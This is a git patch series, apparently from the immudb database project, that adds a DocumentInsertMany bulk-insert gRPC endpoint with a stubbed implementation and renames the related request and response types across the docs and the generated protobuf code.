"documentschemaDocumentInsertRequest": { "type": "object", "properties": { @@ -646,7 +707,7 @@ "description": "Must be a valid serialized protocol buffer of the above specified type." } }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", diff --git a/pkg/api/documentschema/documentschema_grpc.pb.go b/pkg/api/documentschema/documentschema_grpc.pb.go index ec3c769b66..2a36d48934 100644 --- a/pkg/api/documentschema/documentschema_grpc.pb.go +++ b/pkg/api/documentschema/documentschema_grpc.pb.go @@ -28,6 +28,7 @@ type DocumentServiceClient interface { CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) + DocumentInsertMany(ctx context.Context, in *DocumentBulkInsertRequest, opts ...grpc.CallOption) (*DocumentBulkInsertResponse, error) } type documentServiceClient struct { @@ -128,6 +129,15 @@ func (c *documentServiceClient) CollectionUpdate(ctx context.Context, in *Collec return out, nil } +func (c *documentServiceClient) DocumentInsertMany(ctx context.Context, in *DocumentBulkInsertRequest, opts ...grpc.CallOption) (*DocumentBulkInsertResponse, error) { + out := new(DocumentBulkInsertResponse) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentInsertMany", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + // DocumentServiceServer is the server API for DocumentService service. // All implementations should embed UnimplementedDocumentServiceServer // for forward compatibility @@ -142,6 +152,7 @@ type DocumentServiceServer interface { CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) + DocumentInsertMany(context.Context, *DocumentBulkInsertRequest) (*DocumentBulkInsertResponse, error) } // UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. @@ -178,6 +189,9 @@ func (UnimplementedDocumentServiceServer) CollectionDelete(context.Context, *Col func (UnimplementedDocumentServiceServer) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionUpdate not implemented") } +func (UnimplementedDocumentServiceServer) DocumentInsertMany(context.Context, *DocumentBulkInsertRequest) (*DocumentBulkInsertResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentInsertMany not implemented") +} // UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to DocumentServiceServer will @@ -370,6 +384,24 @@ func _DocumentService_CollectionUpdate_Handler(srv interface{}, ctx context.Cont return interceptor(ctx, in, info, handler) } +func _DocumentService_DocumentInsertMany_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentBulkInsertRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).DocumentInsertMany(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentschema.DocumentService/DocumentInsertMany", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).DocumentInsertMany(ctx, req.(*DocumentBulkInsertRequest)) + } + return interceptor(ctx, in, info, handler) +} + // DocumentService_ServiceDesc is the grpc.ServiceDesc for DocumentService service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) @@ -417,6 +449,10 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "CollectionUpdate", Handler: _DocumentService_CollectionUpdate_Handler, }, + { + MethodName: "DocumentInsertMany", + Handler: _DocumentService_DocumentInsertMany_Handler, + }, }, Streams: []grpc.StreamDesc{}, Metadata: "documentschema.proto", diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 9607516f54..17e8ade4de 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -56,6 +56,8 @@ type DocumentDatabase interface { UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) // DocumentProof returns the proofs for a document DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) + // BulkInsertDocuments creates a new document + BulkInsertDocuments(ctx context.Context, req *schemav2.DocumentBulkInsertRequest) (*schemav2.DocumentBulkInsertResponse, error) } // CreateCollection creates a new collection @@ -326,3 +328,16 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque }, }, nil } + +// BulkInsertDocuments inserts multiple documents +func (d *db) BulkInsertDocuments(ctx context.Context, req *schemav2.DocumentBulkInsertRequest) (*schemav2.DocumentBulkInsertResponse, error) { + // docID, txID, err := d.documentEngine.InsertDocument(ctx, req.Collection, req.Document) + // if err != nil { + // return nil, err + // } + + return &schemav2.DocumentBulkInsertResponse{ + // DocumentId: docID.EncodeToHexString(), + // TransactionId: txID, + }, nil +} diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 8fcd81c0c7..19ccf94c13 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -288,3 +288,7 @@ func (d *closedDB) UpdateCollection(ctx context.Context, req *schemav2.Collectio func (d *closedDB) DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) { return nil, store.ErrAlreadyClosed } + +func (d *closedDB) BulkInsertDocuments(ctx context.Context, req *schemav2.DocumentBulkInsertRequest) (*schemav2.DocumentBulkInsertResponse, error) { + return nil, store.ErrAlreadyClosed +} diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 2a1ac32054..4cc0a076e1 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -165,3 +165,15 @@ func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *documentschema.C } return resp, nil } + +func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *documentschema.DocumentBulkInsertRequest) (*documentschema.DocumentBulkInsertResponse, error) { + db, err := s.getDBFromCtx(ctx, "DocumentInsertMany") + if err != nil { + return nil, err + } + resp, err := db.BulkInsertDocuments(ctx, req) + if err != nil { + return nil, err + } + return resp, nil +} From 5bf874875b34e307ebe9c745ccbaa9cc285f142c Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 25 Apr 2023 11:56:15 +0530 Subject: [PATCH 0446/1062] chore: rename DocumentBulkInsert to DocumentInsertMany --- pkg/api/documentschema/docs.md | 16 +- pkg/api/documentschema/documentschema.pb.go | 322 +++++++++--------- .../documentschema/documentschema.pb.gw.go | 4 +- pkg/api/documentschema/documentschema.proto | 8 +- .../documentschema.swagger.json | 10 +- .../documentschema/documentschema_grpc.pb.go | 14 +- pkg/database/document_database.go | 27 +- pkg/server/db_dummy_closed.go | 2 +- pkg/server/documents_operations.go | 4 +- 9 files changed, 206 insertions(+), 201 deletions(-) diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 039c3eb28c..0d314b1742 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -21,8 +21,8 @@ - [DocumentAudit](#immudb.documentschema.DocumentAudit) - [DocumentAuditRequest](#immudb.documentschema.DocumentAuditRequest) - [DocumentAuditResponse](#immudb.documentschema.DocumentAuditResponse) - - [DocumentBulkInsertRequest](#immudb.documentschema.DocumentBulkInsertRequest) - - [DocumentBulkInsertResponse](#immudb.documentschema.DocumentBulkInsertResponse) + - [DocumentInsertManyRequest](#immudb.documentschema.DocumentInsertManyRequest) + - [DocumentInsertManyResponse](#immudb.documentschema.DocumentInsertManyResponse) - [DocumentInsertRequest](#immudb.documentschema.DocumentInsertRequest) - [DocumentInsertResponse](#immudb.documentschema.DocumentInsertResponse) - [DocumentProofRequest](#immudb.documentschema.DocumentProofRequest) @@ -308,25 +308,25 @@ - + -### DocumentBulkInsertRequest +### DocumentInsertManyRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | +| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | - + -### DocumentBulkInsertResponse +### DocumentInsertManyResponse @@ -577,7 +577,7 @@ | CollectionList | [CollectionListRequest](#immudb.documentschema.CollectionListRequest) | [CollectionListResponse](#immudb.documentschema.CollectionListResponse) | | | CollectionDelete | [CollectionDeleteRequest](#immudb.documentschema.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.documentschema.CollectionDeleteResponse) | | | CollectionUpdate | [CollectionUpdateRequest](#immudb.documentschema.CollectionUpdateRequest) | [CollectionUpdateResponse](#immudb.documentschema.CollectionUpdateResponse) | | -| DocumentInsertMany | [DocumentBulkInsertRequest](#immudb.documentschema.DocumentBulkInsertRequest) | [DocumentBulkInsertResponse](#immudb.documentschema.DocumentBulkInsertResponse) | | +| DocumentInsertMany | [DocumentInsertManyRequest](#immudb.documentschema.DocumentInsertManyRequest) | [DocumentInsertManyResponse](#immudb.documentschema.DocumentInsertManyResponse) | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index d3e3c7a0d5..f3c4365f18 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -1568,17 +1568,17 @@ func (x *CollectionUpdateResponse) GetCollection() *CollectionInformation { return nil } -type DocumentBulkInsertRequest struct { +type DocumentInsertManyRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document []*structpb.Struct `protobuf:"bytes,2,rep,name=document,proto3" json:"document,omitempty"` + Documents []*structpb.Struct `protobuf:"bytes,2,rep,name=documents,proto3" json:"documents,omitempty"` } -func (x *DocumentBulkInsertRequest) Reset() { - *x = DocumentBulkInsertRequest{} +func (x *DocumentInsertManyRequest) Reset() { + *x = DocumentInsertManyRequest{} if protoimpl.UnsafeEnabled { mi := &file_documentschema_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1586,13 +1586,13 @@ func (x *DocumentBulkInsertRequest) Reset() { } } -func (x *DocumentBulkInsertRequest) String() string { +func (x *DocumentInsertManyRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentBulkInsertRequest) ProtoMessage() {} +func (*DocumentInsertManyRequest) ProtoMessage() {} -func (x *DocumentBulkInsertRequest) ProtoReflect() protoreflect.Message { +func (x *DocumentInsertManyRequest) ProtoReflect() protoreflect.Message { mi := &file_documentschema_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1604,26 +1604,26 @@ func (x *DocumentBulkInsertRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentBulkInsertRequest.ProtoReflect.Descriptor instead. -func (*DocumentBulkInsertRequest) Descriptor() ([]byte, []int) { +// Deprecated: Use DocumentInsertManyRequest.ProtoReflect.Descriptor instead. +func (*DocumentInsertManyRequest) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{25} } -func (x *DocumentBulkInsertRequest) GetCollection() string { +func (x *DocumentInsertManyRequest) GetCollection() string { if x != nil { return x.Collection } return "" } -func (x *DocumentBulkInsertRequest) GetDocument() []*structpb.Struct { +func (x *DocumentInsertManyRequest) GetDocuments() []*structpb.Struct { if x != nil { - return x.Document + return x.Documents } return nil } -type DocumentBulkInsertResponse struct { +type DocumentInsertManyResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1632,8 +1632,8 @@ type DocumentBulkInsertResponse struct { TransactionId uint64 `protobuf:"varint,2,opt,name=transactionId,proto3" json:"transactionId,omitempty"` } -func (x *DocumentBulkInsertResponse) Reset() { - *x = DocumentBulkInsertResponse{} +func (x *DocumentInsertManyResponse) Reset() { + *x = DocumentInsertManyResponse{} if protoimpl.UnsafeEnabled { mi := &file_documentschema_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1641,13 +1641,13 @@ func (x *DocumentBulkInsertResponse) Reset() { } } -func (x *DocumentBulkInsertResponse) String() string { +func (x *DocumentInsertManyResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentBulkInsertResponse) ProtoMessage() {} +func (*DocumentInsertManyResponse) ProtoMessage() {} -func (x *DocumentBulkInsertResponse) ProtoReflect() protoreflect.Message { +func (x *DocumentInsertManyResponse) ProtoReflect() protoreflect.Message { mi := &file_documentschema_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -1659,19 +1659,19 @@ func (x *DocumentBulkInsertResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentBulkInsertResponse.ProtoReflect.Descriptor instead. -func (*DocumentBulkInsertResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use DocumentInsertManyResponse.ProtoReflect.Descriptor instead. +func (*DocumentInsertManyResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{26} } -func (x *DocumentBulkInsertResponse) GetDocumentIds() []string { +func (x *DocumentInsertManyResponse) GetDocumentIds() []string { if x != nil { return x.DocumentIds } return nil } -func (x *DocumentBulkInsertResponse) GetTransactionId() uint64 { +func (x *DocumentInsertManyResponse) GetTransactionId() uint64 { if x != nil { return x.TransactionId } @@ -1888,152 +1888,152 @@ var file_documentschema_proto_rawDesc = []byte{ 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x70, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x42, 0x75, 0x6c, 0x6b, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, - 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x42, 0x75, 0x6c, 0x6b, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x2a, - 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, - 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, - 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, - 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, - 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, - 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xf3, 0x0d, 0x0a, - 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, + 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, + 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, + 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, + 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, + 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, + 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, + 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xf3, + 0x0d, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, + 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, - 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, - 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 